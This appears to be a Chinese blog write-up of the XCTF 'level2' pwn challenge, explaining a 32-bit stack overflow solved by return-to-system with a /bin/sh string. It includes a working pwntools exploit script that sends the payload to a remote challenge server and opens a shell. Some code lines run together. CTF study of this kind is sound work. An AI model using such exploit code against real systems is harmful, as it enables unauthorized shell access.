本文主要是介绍攻防世界xctf PWN leve2详细讲解,两个地址方法,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
看题
常规看下保护:
32位程序,启用的保护不多,启用了NX防护
IDA看下代码
可以看到有一个溢出
/bin/sh 字符串有,system函数也有,齐活了。溢出把返回地址改成system的地址,再加/bin/sh参数就能拿到shell了。
上代码:
from pwn import *
context.arch = 'i386'
context.log_level="debug"#system_addr=0x08048320
system_addr=0x0804849ebin_bash_addr=0x0804A024#payload=b"A"*0x88+b"BBBB"+p32(system_addr)+p32(0)+p32(bin_bash_addr)
payload=b"A"*0x88+b"BBBB"+p32(system_addr)+p32(bin_bash_addr)#p = process("./leve2")
p = remote("61.147.171.105",51122)p.recvline()
p.sendline(payload)
p.interactive()
这里有一点要说,system_addr有两个地址,一个是0x0804849e,一个是0x08048320,0x0804849e对应的代码是call _system,而0x08048320就是system函数的地址。区别就在于一个有call,一个没有call,有call就不需要在返回地址后面再加一个栈帧(也就是system的返回地址),直接接参数,因为call会压一次栈,把下一条指令的地址(返回地址)压入栈,其实也是p32(system_addr)+p32(0)+p32(bin_bash_addr)这个结构,因为system会取前第两个栈帧的值当参数。
这篇关于攻防世界xctf PWN leve2详细讲解,两个地址方法的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!